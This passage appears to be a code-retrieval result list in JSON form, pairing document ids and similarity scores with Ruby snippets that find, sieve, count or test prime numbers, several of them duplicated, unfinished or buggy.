"text": "def pick_primes(numbers)\n numbers.select { | n | is_prime(n) }\nend",
"title": ""
},
{
"docid": "8367d77ff37c61c3ff90d5d157c64c7c",
"score": "0.71961045",
"text": "def pick_primes(numbers)\n numbers.select { |num| prime?(num) }\nend",
"title": ""
},
{
"docid": "ef4f462b4cd98171841bace2c81e88a3",
"score": "0.7178526",
"text": "def pick_primes(numbers)\r\n return numbers.select { |num| prime?(num)}\r\nend",
"title": ""
},
{
"docid": "3f0acb755ee6bc0a34e8d7f5a5a920f6",
"score": "0.7177012",
"text": "def prime_range(min, max)\n\nend",
"title": ""
},
{
"docid": "612285a9f70e449485ce1faba0bbd944",
"score": "0.71732527",
"text": "def pick_primes(numbers)\n\tprimes = []\n \tnumbers.each do |num| \n \tif isPrime(num) \n \tprimes.push(num)\n end\n end\n \treturn primes\nend",
"title": ""
},
{
"docid": "a28c68f0993c7a4ee661f616da5363f7",
"score": "0.7147981",
"text": "def pick_primes(numbers)\n return numbers.select { |num| prime?(num)}\nend",
"title": ""
},
{
"docid": "f0dc77e6efc2ddb4b1da06355e9585f6",
"score": "0.71082795",
"text": "def sum_of_all_primes(limit)\n list_of_all_numbers = (2..limit).to_a #create a list of numbers from 2 to limit\n primes = get_primes(list_of_all_numbers)\n\n puts \"Primes #{primes}\"\n puts \"Sum of all primes #{primes.sum}\"\nend",
"title": ""
},
{
"docid": "dedbfba6079e386e0ccf1b2dd7b58a46",
"score": "0.7078406",
"text": "def primes(n) \n max = Math::sqrt(n).truncate\n (2..max).each {|val|\n if n % val == 0 then\n p val\n primes(n/val)\n return\n elsif val == max then\n p n\n return\n end\n }\nend",
"title": ""
},
{
"docid": "2420c44482abb2f6fc5a08e61ff414dd",
"score": "0.701171",
"text": "def primes\n range = (min..max).to_a\n primes = (min..max).to_a\n\n range.each do |mod|\n primes.delete_if do |num| \n composite?(num, mod) unless num == mod\n end\n range = primes\n end\n primes\n end",
"title": ""
},
{
"docid": "9695e20c7c48ff6d967dc5fd544c33f0",
"score": "0.7007236",
"text": "def primes(n)\nend",
"title": ""
},
{
"docid": "3d04f9e1c173bac1dce6fda510d1ea1b",
"score": "0.694068",
"text": "def primes_from_2( x )\n # primes have no factors except for 1 and self\n primes = [ 2 ]\n i = 2\n while primes.size < x\n i += 1\n is_prime = true\n primes.each do |p|\n #( 2..( i ** 0.5 ).floor ).each do |p|\n #break if p > ( i / 2 )\n break if p > ( i ** 0.5 )\n if 0 == ( i % p )\n is_prime = false\n break\n end\n end # p\n primes << i if is_prime\n i += 1 # skip the next integer (it's even)\n end # while\n return primes[ -1 ]\nend",
"title": ""
},
{
"docid": "4180385e6cf09d61dc44e1a4df2bd223",
"score": "0.69318074",
"text": "def get_primes num\n primes = []\n for i in 0 ... num do\n if check_prime?(i) == true\n primes.push(i)\n end\n end\n p primes\nend",
"title": ""
},
{
"docid": "87fe318211b6a5596f25b1534284144f",
"score": "0.6928592",
"text": "def all_primes(number)\n primes = []\n (2...number).each do |num|\n if prime?(num)\n primes << num \n end\n end\n primes\nend",
"title": ""
},
{
"docid": "c9bc629eea7b62ac84f763fde223a873",
"score": "0.69251066",
"text": "def prime_numbers\n # start with the first prime number\n primes = [2]\n # find the rest of the prime numbers\n (2..1000).each do |i|\n add_next_prime_number(primes)\n end\n return primes\nend",
"title": ""
},
{
"docid": "ab5088cfb8758941f3e86c9ef5dbcfaa",
"score": "0.6920998",
"text": "def select_primes(possible_primes)\n possible_primes.select { |num| is_prime?(num) }\nend",
"title": ""
},
{
"docid": "ac03a658df5d1b26cc1f1dfa37574db1",
"score": "0.6893924",
"text": "def primes\n Prime::EratosthenesGenerator.new.take_while {|i| i <= @base}\n end",
"title": ""
},
{
"docid": "a79d2af3cdbef037cdfa7bfbd5ed9b21",
"score": "0.6860518",
"text": "def coprime?(num_1, num_2)\n # initialize arrays for common\n # determine the minimum between the two nums\n # loop from 1 to minimum using iterator idx\n # push common divisors to array\n # if length is not 1, return false, else true\n minimum = [num_1, num_2].min\n \n (2..minimum).each do |idx|\n return false if num_1 % idx == 0 && num_2 % idx == 0 \n end\n return true\n\nend",
"title": ""
},
{
"docid": "4f0290626b8c71646d8186c9097c5296",
"score": "0.6840891",
"text": "def find_primes(input)\n\t\n\tprimes = Array.new\n\t\n\tlimit = Math.sqrt(input)\n\t\n\tnumber_to_test = 2\n\t\n\tif number_to_test > limit\n\t\treturn Array[input]\n\tend\n\t\n\twhile input % number_to_test != 0 && number_to_test < limit\n\t\tnumber_to_test += 1\n\tend\n\t\n\tif input % number_to_test == 0\n\t\treturn find_primes(number_to_test) + find_primes(input/number_to_test)\n\tend\n\n\treturn Array[input]\n\t\t\nend",
"title": ""
},
{
"docid": "4f0290626b8c71646d8186c9097c5296",
"score": "0.6840891",
"text": "def find_primes(input)\n\t\n\tprimes = Array.new\n\t\n\tlimit = Math.sqrt(input)\n\t\n\tnumber_to_test = 2\n\t\n\tif number_to_test > limit\n\t\treturn Array[input]\n\tend\n\t\n\twhile input % number_to_test != 0 && number_to_test < limit\n\t\tnumber_to_test += 1\n\tend\n\t\n\tif input % number_to_test == 0\n\t\treturn find_primes(number_to_test) + find_primes(input/number_to_test)\n\tend\n\n\treturn Array[input]\n\t\t\nend",
"title": ""
},
{
"docid": "9d1937e07bd90d33392239c0df41b2fb",
"score": "0.68303496",
"text": "def primes(top)\n n = 2\n primes = []\n loop do\n primes << n if (2..Math.sqrt(n)).all? {|x| n % x != 0 }\n return primes.last if primes.count == top\n n += 1\n end\nend",
"title": ""
},
{
"docid": "ff38fdcc2b8b0fc6eafb4aa5c1fd6235",
"score": "0.68185407",
"text": "def primes (n)\n return (1..n).select { |x| x.prime? }\nend",
"title": ""
},
{
"docid": "4defff78ffd12a70bcd2feb92b68f7a9",
"score": "0.6812088",
"text": "def prime_range(lower_bound, higher_bound)\n Prime.each(higher_bound).select {|prime| prime >= lower_bound}\nend",
"title": ""
},
{
"docid": "2146eacfd941180e549773de9ab149e6",
"score": "0.68114424",
"text": "def prime(number)\n prime_numbers = []\n (2..number).each do |current_number|\n if is_prime? current_number\n prime_numbers << current_number\n end\n end\n return prime_numbers\nend",
"title": ""
},
{
"docid": "c21305f008c4e90ff7e73133ab858ce4",
"score": "0.68063205",
"text": "def get_primes\n j = 0\n\n while j < @limit \n prime_number = is_prime\n if prime_number\n @prime_numbers.push(prime_number)\n j += 1\n end\n @count += 1\n end\n\n return @prime_numbers\n end",
"title": ""
},
{
"docid": "7609651641196d708e27342a6d38fb02",
"score": "0.6779226",
"text": "def primes_less_than(num)\n res = []\n (2...num).each do |i|\n res.push(i) if is_prime?(i) == true\n end\n res\nend",
"title": ""
},
{
"docid": "a6c3fa66698a9d5f4dd1aefffbd8babc",
"score": "0.67779624",
"text": "def find_primes(num,prime_array=[])\n i = 2\n until num % i == 0 \n i += 1\n end\n prime_array << i\n return prime_array if num == i\n find_primes(num/i, prime_array) \nend",
"title": ""
},
{
"docid": "b600fa02149021b5434c4a66c8558b78",
"score": "0.6777165",
"text": "def find_primes(number)\n\tprimes = []\n\ttry_num = 2\n\tx = 2\n\tfactors = []\n\t\n\twhile primes.length != number\n\t\t#puts \"primes : #{primes}\"\n\t\t#puts \"try_num : #{try_num}\"\n\t\t#puts \"x : #{x}\"\n\t\t#puts \"factors : #{factors}\"\n\t\t\n\t\tif factors.length >= 1 && factors[0] != try_num\n\t\t\t#puts \"#{try_num} is not prime\"\n\t\t\ttry_num += 1\n\t\t\tx = 2\n\t\t\tfactors = []\n\t\t \n\t\telsif try_num % x == 0 && x == try_num\n\t\t\t#puts \"#{try_num} is prime\"\n\t\t\tprimes << try_num\n\t\t\ttry_num += 1\n\t\t\tx = 1\n\t\t\n\t\telsif try_num % x == 0\n\t\t\t#puts \"#{x} is factor of #{try_num}\"\n\t\t\tfactors << x\n\t\telse\n\t\t\n\t\tend\n\t\t\n\t\tx += 1\n\tend\n\tputs primes\n\treturn primes\nend",
"title": ""
},
{
"docid": "7a143616c5e67b1335272eced39863bc",
"score": "0.67681646",
"text": "def primes_upto( xmax )\n # primes have no factors except for 1 and self\n primes = [ 2 ]\n ( 3..xmax ).each do |i|\n puts i if 0 == ( i % 1000 )\n is_prime = true\n primes.each do |p|\n break if p > ( i / 2 )\n if 0 == ( i % p )\n is_prime = false\n break\n end\n end # p\n primes << i if is_prime\n end # i\n return primes\nend",
"title": ""
},
{
"docid": "5c550e3d0fb7ab488878e11cc7c55a2a",
"score": "0.6756519",
"text": "def primes\n return [] if self == 0\n return \"don't do that\" if self < 0\n list = [2]\n test = 3\n until list.length == self\n list << test if test.is_prime?\n test += 2\n end\n list\n end",
"title": ""
},
{
"docid": "a5b6e4cc6331a6ded133b128e39dd9e9",
"score": "0.6750476",
"text": "def count_primes(number)\n # create an array from 2-num\n # for each number in the array of possible primes\n # modulo the number by each n\n # if the number % n is 0, it's not a prime number\n # unless the number and n are the same\n possible_primes = (2...number).to_a\n possible_primes.select! do |num|\n # need to return true if num is prime, false if it is not\n # binding.pry if num == 3\n half_num = num\n results = (2...half_num).select do |n|\n # if num % n == 0, means that n evenly divides into num making it not prime\n num % n == 0\n end\n results.empty?\n # any number within results evenly divided into the num\n # making the num not prime\n # so if results is empty, it means that nothing divided into the num\n # making the num prime\n end\n possible_primes.count\nend",
"title": ""
},
{
"docid": "85e0b10621310d9fb48bc2e7abe6e6b9",
"score": "0.6745935",
"text": "def get_consecutive_prime_below_one_million(primes)\n sumation = 0;\n prime_number_list = []\n number_of_primes = 0 \n primes.each_with_index do | prime_number , i |\n # puts \"#{prime_number} - #{i}\"\n @sum = @sum + prime_number\n @primeSum[i+1] = @sum if @sum < @limit;\n end\n # puts \"#{@primeSum}\"\n\n count_of_primeSum = @primeSum.length\n number_of_primes = 1 \n count_of_primeSum.times do |i|\n for j in (count_of_primeSum - 1).downto(i + number_of_primes ) do\n difference = @primeSum[j] - @primeSum[i]\n\n if (j-i > number_of_primes) && (difference < limit) && ( primes.include? difference)\n # puts \"#{i}--#{j}\"\n \n prime_number_list = primes[i...j]\n number_of_primes = j-i\n sumation = difference \n end\n end\n end\n @result[:sumation] = sumation \n @result[:number_of_terms] = number_of_primes \n @result[:prime_number_list] = prime_number_list \n\n @result\n end",
"title": ""
},
{
"docid": "8851f6898fddc1078d03875c5aa92f3c",
"score": "0.6723455",
"text": "def primes()\n return [] if @number < 2\n # build Boolean array to use for sieve with buffer to align indices\n sieve_array = Array.new(2, false) + Array.new(@number-1, true)\n # perform Sieve of Eratosthenes eliminations\n (2..Math.sqrt(@number).to_i).each do |i|\n (i**2..@number).step(i) {|j| sieve_array[j] = false} if sieve_array[i] == true\n end\n # return numbers by corresponding index that are still true\n (2..@number).collect {|index| index if sieve_array[index] == true}.compact\n end",
"title": ""
},
{
"docid": "7b1a611ec32ba3121c5a680ea731146f",
"score": "0.66996545",
"text": "def primesInRange(low, high)\n\n\t# Compute all primes smaller or equal to\n\t# square root of high using simple sieve\n\n\tlimit = (Math.sqrt(high)) + 1;\n\tsimpleSieve(limit);\n\n\t# Count of elements in given range\n\tn = high - low + 1;\n\n\t# Declaring boolean only for [low, high]\n \tmark = initArray((n+1));\n\n\t# Use the found primes by\n\t# simpleSieve() to find\n\t# primes in given range\n\t$prime.each_with_index do |val, i|\n\t\t# Find the minimum number in [low..high] that is\n\t\t# a multiple of prime[i] (divisible by prime[i])\n\t\tloLim = low / val * val\n\t\tif loLim < low\n\t\t\tloLim += val;\n\t\tend\n\t\tif loLim==val\n\t\t\tloLim += val;\n\t\tend\n\n\t# Mark multiples of prime[i] in [low..high]:\n\t#\tWe are marking j - low for j, i.e. each number\n\t#\tin range [low, high] is\tmapped to [0, high - low]\n\t#\tso if range is [50, 100] marking 50 corresponds\n\t#\tto marking 0, marking 51 corresponds to 1 and\n\t#\tso on.\n # Also if the current j is prime don't mark\n\t#\tit as true.In this way we need to allocate space only\n\t#\tfor range\n\tj = loLim;\n\t\tuntil j > high do\n\t\t if j != val\n\t\t mark[j - low] = true;\n\t\t end\n\t\t j += val\n\t\tend\n\tend\n\n\t# Numbers which are not marked\n\t# in range, are prime\n\to = []\n\tfor i in low..high do\n if mark[i - low]==false\n o.push(i);\n end\n end\n puts(\"[OUTPUT] %s\" % o.join(\",\"));\nend",
"title": ""
},
{
"docid": "690c469da48e78072b609458006f6eb1",
"score": "0.6697307",
"text": "def GetPrimes (maximum)\t\n\t# Construct and execute the Sieve\n\tsqrtMaximum = Math.sqrt(maximum).to_i\n\tprimeTracker = Array.new(maximum,true)\n\t\n\tfor i in 2...sqrtMaximum\n\t\tnext if !primeTracker[i]\n\t\t\n\t\tstart = i + i\n\t\t\n\t\tfor j in (start...maximum).step(i)\n\t\t\tprimeTracker[j] = false;\n\t\tend\n\tend\n\t\n\tprimes = []\n\t\n\t# Generate the list of primes to return\n\tfor k in 2...maximum\n\t\tprimes.push(k) if primeTracker[k]\n\tend\n\t\n\treturn primes\nend",
"title": ""
},
{
"docid": "cfcb05d042dd6dc7994048639df41250",
"score": "0.66923094",
"text": "def p10\n\tprimes = []\n\tPrime.each do |prime|\n\t\tbreak if prime >= 2000000\n\t\tprimes << prime\n\tend\n\t# puts primes\n\tprimes.reduce(:+)\nend",
"title": ""
},
{
"docid": "ffaff0999768f07b44f0ed891e48a5d2",
"score": "0.6690029",
"text": "def find_prime\n x = 2\n while @prime_numbers.count < @total\n @prime_numbers << x if prime?(x)\n x += 1\n end\n end",
"title": ""
},
{
"docid": "45ec5ce2c2486fa776ecdb94c29e5cd2",
"score": "0.668801",
"text": "def primes_to_n(n)\n (2..n).select { |num| is_prime?(num) }\nend",
"title": ""
},
{
"docid": "7b7ccfca6d63e0eba80cf443c41c19bf",
"score": "0.6686967",
"text": "def pretentious_primes(arr, num)\nend",
"title": ""
},
{
"docid": "c35cecb952b9ebd548be617a4db06cb5",
"score": "0.6675308",
"text": "def prime(max)\n (1..max).select { |x| (1..max).count { |y| x % y == 0 } == 2 }\nend",
"title": ""
},
{
"docid": "4b516cc3fc3ab123c75b26e5d20ca1dc",
"score": "0.6675053",
"text": "def pares(num1, num2)\n (num1..num2).each do |par|\n puts par if par.even?\n end\nend",
"title": ""
},
{
"docid": "07fd5f6e4b9d107bdee693890dd44a86",
"score": "0.66739434",
"text": "def print_primes(num)\r\n\tlargest_div = 2;\t\t\t\r\n\twhile num > 1\r\n\t\tdiv = 2;\r\n\t\twhile num % div != 0\r\n\t\t\t\tdiv += 1\r\n\t\tend\r\n\t\tnum = num / div\r\n\t\tlargest_div = div\r\n\tend\r\n\treturn largest_div\r\nend",
"title": ""
},
{
"docid": "5b102aa67a5fa6a3798cfb748c576775",
"score": "0.6672061",
"text": "def first_n_primes(n)\n\n #unless n.is_a? Integer\n # return \"n must be an integer.\"\n #end\n return \"n must be an integer.\" unless n.is_a? Integer\n\n #if n <= 0\n # return \"n must be greater than 0.\"\n #end\n return \"n must be greater than 0.\" if n <= 0\n \n #prime_array = [] if prime_array.nil?\n prime_array ||= []\n \n prime = Prime.new\n #for num in (1..n)\n # prime_array.push(prime.next)\n #end\n # n.times { prime_array.push(prime.next) }\n n.times { prime_array << prime.next }\n \n #return prime_array\n prime_array # implicit return!\n\nend",
"title": ""
},
{
"docid": "fe1dee9403859c990a7feb1701a778f8",
"score": "0.6671936",
"text": "def primes_less_than number\n ps = (2..number).each\n primes_so_far = []\n enum = Enumerator.new do |y|\n loop do\n p = ps.next\n non_prime = false\n\n p_root = (p**0.5).floor\n # Filter for primes using an inverted version of the sieve of\n # Eratosthenes--a number is prime if it's not divisible by the primes\n # less than it's square root.\n primes_so_far.each {|prime|\n if prime > p_root\n # if p has no divisors in primes_so_far less than p^0.5\n # then p must be prime\n break\n elsif p % prime == 0\n # the current p is not prime\n non_prime = true\n break\n end\n }\n\n unless non_prime\n primes_so_far.push p\n y.yield p\n end\n end\n end\n\n enum.to_a\n\nend",
"title": ""
},
{
"docid": "38960104ccfc90fa5038ec60682a187f",
"score": "0.66194564",
"text": "def primes_less_than(num)\n arr = []\n (2...num).each do |el|\n if is_prime?(el)\n arr << el\n end\n end\n arr\nend",
"title": ""
},
{
"docid": "02b0f988edb317b03867c7a5ffba0f1b",
"score": "0.6603221",
"text": "def primes (n)\n return (1..n).select {| x | factors(x).length == 2}\nend",
"title": ""
},
{
"docid": "27a93e556a4c6cebe301f90cb11586ea",
"score": "0.65977937",
"text": "def primes_less_than (num)\n arr=[]\n for n in 2..(num-1)\n if is_prime?(n)\n arr.push(n)\n end\n end\n p arr\n return arr\nend",
"title": ""
},
{
"docid": "edf9e88c3bbbf3ded904341c71e2e181",
"score": "0.6589175",
"text": "def print_all_primes(num)\n for i in (2..num)\n is_status = is_prime(i)\n if(is_status)\n puts i\n end\n end\nend",
"title": ""
},
{
"docid": "2d9c83bb1027b5ed1e772e1f40395fc1",
"score": "0.658232",
"text": "def GetPrimes (maximum)\n\t# Clear the input vector in case there is existing data\n\tprimes = []\n\t\n\t# There are no primes less than 2\n\tif (maximum < 2)\n\t\treturn\n\tend\n\t\n\t# Construct and execute the Sieve\n\tsqrtMaximum = Math.sqrt(maximum).to_i\n\tprimeTracker = Array.new(maximum,true)\n\t\n\tfor i in 2...sqrtMaximum\n\t\tif (!primeTracker[i])\n\t\t\tnext\n\t\tend\n\t\t\n\t\tfor j in ((i+i)...maximum).step(i)\n\t\t\tif (j < 0) # Guard against integer overflow\n\t\t\t\tbreak\n\t\t\tend\n\t\t\t\n\t\t\tprimeTracker[j] = false\n\t\tend\n\tend\n\t\n\t# Generate the list of primes to return\n\tfor k in 2...maximum\n\t\tif (primeTracker[k] == true)\n\t\t\tprimes.push(k)\n\t\tend\n\tend\n\t\n\treturn primes\nend",
"title": ""
},
{
"docid": "2d9c83bb1027b5ed1e772e1f40395fc1",
"score": "0.658232",
"text": "def GetPrimes (maximum)\n\t# Clear the input vector in case there is existing data\n\tprimes = []\n\t\n\t# There are no primes less than 2\n\tif (maximum < 2)\n\t\treturn\n\tend\n\t\n\t# Construct and execute the Sieve\n\tsqrtMaximum = Math.sqrt(maximum).to_i\n\tprimeTracker = Array.new(maximum,true)\n\t\n\tfor i in 2...sqrtMaximum\n\t\tif (!primeTracker[i])\n\t\t\tnext\n\t\tend\n\t\t\n\t\tfor j in ((i+i)...maximum).step(i)\n\t\t\tif (j < 0) # Guard against integer overflow\n\t\t\t\tbreak\n\t\t\tend\n\t\t\t\n\t\t\tprimeTracker[j] = false\n\t\tend\n\tend\n\t\n\t# Generate the list of primes to return\n\tfor k in 2...maximum\n\t\tif (primeTracker[k] == true)\n\t\t\tprimes.push(k)\n\t\tend\n\tend\n\t\n\treturn primes\nend",
"title": ""
},
{
"docid": "2d9c83bb1027b5ed1e772e1f40395fc1",
"score": "0.658232",
"text": "def GetPrimes (maximum)\n\t# Clear the input vector in case there is existing data\n\tprimes = []\n\t\n\t# There are no primes less than 2\n\tif (maximum < 2)\n\t\treturn\n\tend\n\t\n\t# Construct and execute the Sieve\n\tsqrtMaximum = Math.sqrt(maximum).to_i\n\tprimeTracker = Array.new(maximum,true)\n\t\n\tfor i in 2...sqrtMaximum\n\t\tif (!primeTracker[i])\n\t\t\tnext\n\t\tend\n\t\t\n\t\tfor j in ((i+i)...maximum).step(i)\n\t\t\tif (j < 0) # Guard against integer overflow\n\t\t\t\tbreak\n\t\t\tend\n\t\t\t\n\t\t\tprimeTracker[j] = false\n\t\tend\n\tend\n\t\n\t# Generate the list of primes to return\n\tfor k in 2...maximum\n\t\tif (primeTracker[k] == true)\n\t\t\tprimes.push(k)\n\t\tend\n\tend\n\t\n\treturn primes\nend",
"title": ""
},
{
"docid": "95c392fff18bff185e56a47a83a0401a",
"score": "0.657759",
"text": "def coprime?(num_1, num_2)\n new_arr = []\n i = 1\n while i < num_1 && i < num_2\n if num_1 % i == 0 && num_2 % i == 0\n new_arr << i \n end\n i += 1\n end\n new_arr.length == 1\nend",
"title": ""
},
{
"docid": "c6751969b3b411cc43a91100a9b950eb",
"score": "0.6562162",
"text": "def primes(max)\n primes = []\n number = 2\n \n while number <= max\n primes << number if is_prime? number\n number += 1\n end\n primes\nend",
"title": ""
},
{
"docid": "c6751969b3b411cc43a91100a9b950eb",
"score": "0.6562162",
"text": "def primes(max)\n primes = []\n number = 2\n \n while number <= max\n primes << number if is_prime? number\n number += 1\n end\n primes\nend",
"title": ""
},
{
"docid": "19c972bf43aeda61af6c9fa78565c223",
"score": "0.6551243",
"text": "def main()\n num = Integer(ARGV[0])\n res = []\n Prime.each(num) {|prime| res << prime}\n puts res.join(\", \")\nend",
"title": ""
},
{
"docid": "fe65ff6d7bef7617aa8531170cb62118",
"score": "0.6550993",
"text": "def primes\n Enumerator.new do |y|\n result = 0\n n = 3\n loop do\n candidates = (0..n).to_a\n candidates[0] = candidates[1] = nil\n candidates.each do |c|\n next unless c\n break if c * c > n\n (c*c).step(n, c){|m| candidates[m] = nil}\n end\n candidates.compact!\n if candidates[-1] != result\n y.yield candidates[-1]\n result = candidates[-1]\n end\n n+=1\n end\n end\nend",
"title": ""
},
{
"docid": "7c92d9d11590301b31f1796489137b9f",
"score": "0.6545317",
"text": "def nthPrime(nth)\n # TODO\nend",
"title": ""
},
{
"docid": "b116558e621cd71b931bb44bbe7d03c5",
"score": "0.6544565",
"text": "def listOfPrimesUnderX (x)\n\n#Generate list of numbers 2 through x\n\nnumberList = []\nnumberList = (2..x).to_a\n\n# Create a loop that, first, removes the first number's multiples from numberList\n# and that loops up to the square root of x\n\nprimeList = []\n\n\nwhile numberList[0] < Math.sqrt(x)\n\n\tprimeList << numberList[0]\n\ty = numberList[0]\n\n\tnumberList.delete_if {|a| a % y == 0}\n\nend\n\n# now we have two arrays: primeList, which contains all primes up to the square root of x, and numberList\n# which contains primes between the square root of x and x\n# first we combine them to a single array, primeList, which contains all primes up to x\n\nprimeList = primeList + numberList\n\nreturn primeList\n\nend",
"title": ""
},
{
"docid": "0fae0eaf7a73fa61c08fb64cccae9cf1",
"score": "0.65296376",
"text": "def primes(n)\n return (2..n).select {|x| factors(x).size() == 2}\nend",
"title": ""
},
{
"docid": "10abdaba1d7fc79a0e00ccf9da9a54e9",
"score": "0.6528139",
"text": "def primes (n)\r\n primes = Array.new(n) { |index| index+=1 }\r\n return primes.select { |x| factors(x).length == 2 }\r\nend",
"title": ""
},
{
"docid": "92070a9f40662ed8e303878c780bfc92",
"score": "0.6517734",
"text": "def specific_prime(n)\n\na = (2..n) # list of integers 2 through \nprimes = Array.new\n\nprimes = a.select { |x| (2..Math.sqrt(x)).none? { |d| (x % d).zero? }}\n\nputs primes[10000]\n# answer => 104,743\n\nend",
"title": ""
},
{
"docid": "0d7cc67f65acf496b6ab924563931855",
"score": "0.6517352",
"text": "def brute_force_primes(limit)\n \n primes = []\n complexity = 0\n # we know that 0,1 can't be prime\n # start at 2 and create a Range upto the limit\n (2..limit).each{|number|\n complexity += 1\n is_prime = true\n \n # any number is divisible by 1\n # so start at 2\n (2..number).each{|n|\n complexity += 1\n # ensure the number being tested is not the number in the loop\n unless number == n\n # continue unless the local loop value of n is a factor of number\n unless number % n != 0\n is_prime = false\n break\n end\n end\n }\n \n primes << number if is_prime\n }\n puts \"O(n**2): #{(limit**2).to_s}\"\n puts \"Complexity: #{complexity.to_s}\"\n return primes\n \nend",
"title": ""
},
{
"docid": "3a2496e39740f689022bb5e260415351",
"score": "0.65088475",
"text": "def get_n_primes(n)\n return [] if n < 1\n primes = [2]\n candidate = 3\n\n while primes.length < n\n is_prime = true # default assume the number is prime\n primes.each do |prime|\n if candidate % prime == 0\n is_prime = false\n break\n end\n\n break if prime >= Math.sqrt(candidate)\n end\n\n primes << candidate if is_prime\n candidate += 2\n end\n\n primes\nend",
"title": ""
},
{
"docid": "bbacd958b271874139184f0441d46ed9",
"score": "0.6503023",
"text": "def coprime?(num_1, num_2)\n for i in 2..num_2\n if num_1 % i == 0\n return false\n else \n return true\n end\n end\n for n in 2..num_1\n if num_2 % n == 0\n return false\n else\n return true\n end\n end\nend",
"title": ""
},
{
"docid": "99b17f656c1ec0a7e4c00835e8dc71e8",
"score": "0.65011746",
"text": "def consecutive_prime_below_one_million\n @max_limit = 1000_000\n generate_prime_numbers()\n # number_of_primes = 0\n result = 0\n\n count_prime_sum = @prime_numbers_sum.length\n number_of_primes = 1\n # i_index = 0\n count_prime_sum.times do |i_index|\n for j in (count_prime_sum - 1).downto(i_index + number_of_primes ) do\n difference = @prime_numbers_sum[j] - @prime_numbers_sum[i_index]\n if (j - i_index > number_of_primes) && difference < @max_limit && ( @prime_numbers.include? difference) #\n number_of_primes, result = j - i_index, difference\n break\n end\n end ## end of j\n end ## end of i\n\n puts '=============================================================================================='\n puts 'Q2: Which prime, below one million, can be written as the sum of the most consecutive primes?'\n puts \"Sol: Result For Finding consecutive prime below #{@max_limit} : #{result}, and \\n Number of primes in those are #{number_of_primes}\"\n puts '=============================================================================================='\n\n end",
"title": ""
},
{
"docid": "53078f5bb2e123f0770278365cc4e276",
"score": "0.6500446",
"text": "def primes_less_than(num)\n\toutput = []\n\t(2...num).each do |n|\n\t\toutput << n if is_prime?(n)\n\tend\n\toutput\nend",
"title": ""
},
{
"docid": "c2751d913be9c97105c49d2b34580361",
"score": "0.6495651",
"text": "def odd_not_prime(num)\n # code here\n (1..num).step(2).to_a.select { |i| !is_prime?(i) }.count\n\nend",
"title": ""
},
{
"docid": "2370594af7a1b61985d6f91bd8c72a28",
"score": "0.6493264",
"text": "def primes (number)\n primes_array = []\n Prime.each(number) do |p|\n primes_array.push(p)\n end\n\n primes_array\nend",
"title": ""
},
{
"docid": "e694a66164d5769ff2d9e9cee349e614",
"score": "0.6492024",
"text": "def get_primes(qyt)\n Prime.first qyt\nend",
"title": ""
},
{
"docid": "370c6ac359b0b49cfdacc85b1a2ce77f",
"score": "0.648535",
"text": "def get_primes(n)\n primes = [2]\n pp = 0\n i = 3\n while pp < n do\n if i%2 != 0\n counter = 0\n prime = 1\n while counter < primes.length do\n if (i%primes[counter] == 0)\n prime = 0\n break;\n end\n counter += 1\n end\n if prime == 1\n primes.push(i)\n pp +=1\n end\n end\n i+=1\n end\n return primes[n-1]\nend",
"title": ""
},
{
"docid": "702bc6f6661f6c1488ea7a08f3b68acc",
"score": "0.64822173",
"text": "def natural_method(limit, number_multiple1, number_multiple2)\n\tarray = []\n\t(1..limit).each do |number|\n\t\tif (number % number_multiple1 == 0) || (number % number_multiple2 == 0)\n\t\t\tarray << number \n\t\tend\n\tend\n\tputs sum(array)\nend",
"title": ""
},
{
"docid": "2a2d7020c4d2039d06e2b1174365b685",
"score": "0.646962",
"text": "def print_prime\n @n_primes = get_n_primes\n return [] if @n_primes == 0\n p_arr_len = @prime_numbers.length\n return @prime_numbers[0..@n_primes] if p_arr_len >= @n_primes\n (p_arr_len > 1) ? (n = @prime_numbers.last) : (n = 3)\n until @prime_numbers.length == @n_primes do\n @prime_numbers.push(n) if @prime_cache[n]\n (@prime_numbers.push(n) && @prime_cache[n] = true) if is_prime(n)\n n += 1\n end\n @prime_numbers\n end",
"title": ""
},
{
"docid": "9a6b3cb4455d07ba10377fff309cd2a1",
"score": "0.64649254",
"text": "def coprime?(num1, num2)\n # div1 = get_divisors(num1)\n # div2 = get_divisors(num2)\n # # if num1.even? && num2.even?\n # # return false\n # if div1.one? { |ele| div2.include?(ele)}\n # return true\n # else\n # return false\n # end\n\n (2..num1).none? {|factor| num1 % factor == 0 && num2 % factor == 0}\n\n\nend",
"title": ""
},
{
"docid": "ac2ba3f78d2c036642c7c1890c8c5a2f",
"score": "0.6463211",
"text": "def multiples(number1, number2, range1, range2)\n (range1...range2).select { |value| value % number1 == 0 || value % number2 == 0 }.reduce(:+)\nend",
"title": ""
},
{
"docid": "648ec1572631613240c4db470ba0b041",
"score": "0.6460001",
"text": "def prime_list(number_of_primes)\n return [] if number_of_primes < 1\n prime_numbers = Array.new\n for num in 2..9999999 do\n if is_prime_num(num, prime_numbers)\n prime_numbers.push(num)\n break if prime_numbers.length == number_of_primes\n end\n end\n return prime_numbers\n end",
"title": ""
},
{
"docid": "20242e077528404d9a5ca78b960e9657",
"score": "0.64577043",
"text": "def generate_primes(size)\r\n # Generate two 12-bit prime numbers\r\n p = OpenSSL::BN::generate_prime(size).to_i\r\n q = OpenSSL::BN::generate_prime(size).to_i\r\n # Ensure the two prime numbers are different\r\n loop do\r\n break if p != q\r\n q = OpenSSL::BN::generate_prime(size).to_i\r\n end\r\n return [p,q]\r\nend",
"title": ""
},
{
"docid": "498cd5b0bdf39e4db9c79820948d6995",
"score": "0.64575166",
"text": "def factor_primes n\n a=1;b=1\n while a < n do\n a=a+1\n next if not n.modulo(a).zero? or a == b\n b=b*a\n puts \"a=#{a};b=#{b}\"\n break if b == n\n end\nend",
"title": ""
},
{
"docid": "2ceac132e63ab1f849c1aed9099b55ee",
"score": "0.64535177",
"text": "def compute_primes\n nums = (@max_checked..@max_checked * 2).map { |x| x.odd? ? x : nil }.to_a\n 1.upto(@primes.index { |p| p * p > @max_checked * 2 }) do |i|\n start_idx = -@max_checked % @primes[i] # prime[i]'s 1st multiple's index\n\n (start_idx..nums.size).step(@primes[i]) { |x| nums[x] = nil }\n end\n @max_checked *= 2\n @primes += nums.compact\n end",
"title": ""
},
{
"docid": "7c67d40c692c584796fc1917bbd4dbfd",
"score": "0.64483047",
"text": "def prime_numbers\n s = (0..self).to_a\n s[0] = s[1] = nil\n s.each do |p|\n next unless p\n break if p * p > self\n (p*p).step(self, p) { |m| s[m] = nil }\n end\n s.compact\n end",
"title": ""
},
{
"docid": "0cc8763fae08fc8cec539baf9b28979c",
"score": "0.6435806",
